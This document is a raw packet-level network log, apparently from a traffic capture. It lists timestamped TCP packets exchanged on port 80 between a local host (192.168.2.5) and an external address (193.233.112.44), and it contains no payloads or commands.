Oct 3, 2024 23:17:12.134340048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134350061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134373903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134375095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134422064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134615898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134654045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134665012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134694099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149656057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149717093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149733067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149780989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149786949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149827003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149840117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149862051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149866104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149897099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149904966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149933100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149941921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149964094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.149976015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.149997950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.150008917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.150032997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.150042057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.150068045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.150079012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.150105000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.219885111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.219947100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.219983101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220016003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220043898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220051050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220074892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220086098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220089912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220124960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220127106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220160961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220174074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220196009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220196962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220231056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220235109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220263958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220263958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220299959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220300913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220340014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220525026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220557928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220566988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220597982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220602036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220635891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220799923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220834970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220851898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220868111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220870018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220904112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220909119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220938921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220949888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.220973015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.220983982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221007109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221016884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221041918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221050978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221079111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221086979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221118927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221369028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221402884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221420050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221436024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221441031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221471071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221474886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221506119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221517086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221540928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221550941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221576929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221585989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221611977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221622944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221647978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221657038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221681118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221693039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221716881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.221719980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.221756935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.223933935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.223987103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224029064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224060059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224080086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224093914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224113941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224148035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224160910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224181890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224194050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224217892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224229097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224267960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224272966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224304914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224308968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224342108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224354982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224371910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224389076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224406958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224411964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224443913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224446058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224478006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224488020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224520922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224601984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224637032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224653006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224670887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224673986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224700928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224709988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224740028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224741936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224776030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224785089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224823952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224895000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224927902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224947929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224961042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.224961996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.224996090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225002050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225029945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225038052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225074053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225097895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225136042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225151062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225172997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225187063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225219965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225234985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225255013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225265026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225290060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225301027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225326061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225333929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225362062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225373030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225397110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225406885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225431919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225447893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225471020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225485086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225506067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.225513935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.225547075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.318389893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.326781034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.672476053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.672533035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.672555923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.672574997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.672589064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.672616005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.672622919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.672665119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.687895060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.687966108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.688010931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.688059092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.688064098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.688101053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.688108921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.688136101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.688146114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.688173056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.688184977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.688209057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.688215017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.688251972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742319107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742382050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742391109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742418051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742429972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742456913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742464066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742501020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742512941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742552996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742583036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742615938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742624998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742652893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742657900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742693901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742738962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742773056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742779970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742814064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742861986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742897987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742904902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742934942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742940903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.742964983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.742975950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743006945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743078947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743114948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743120909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743149996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743155956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743180990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743190050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743218899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743222952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743253946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743302107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743336916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743346930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743371010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743376970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743413925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743431091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743464947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743478060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743505955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.743561983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.743603945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813002110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813046932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813082933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813098907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813112020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813150883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813163042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813182116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813193083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813226938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813236952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813271999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813281059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813302994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813313007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813338041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813344002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813374043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813380003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813405037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813415051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813441038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813447952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813487053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813494921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813529015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813539982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813564062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813570023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813605070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813611031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813643932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813646078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813674927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813689947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813710928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813718081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813745975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813776016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813780069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813785076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813822985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813822031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813858032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813864946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813893080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813899040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813930035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.813941002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.813971996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814038038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814069033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814079046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814160109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814166069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814194918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814202070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814229965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814237118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814265013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814273119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814300060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814308882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814331055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814340115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814366102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814372063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814404011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814407110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814444065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814565897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814599991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814624071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814632893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814646006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814667940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814678907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814703941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814711094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814739943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814744949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814776897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814780951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814816952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814929008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814958096 CEST	80	49710	193.233.112.44	192.168.2.5
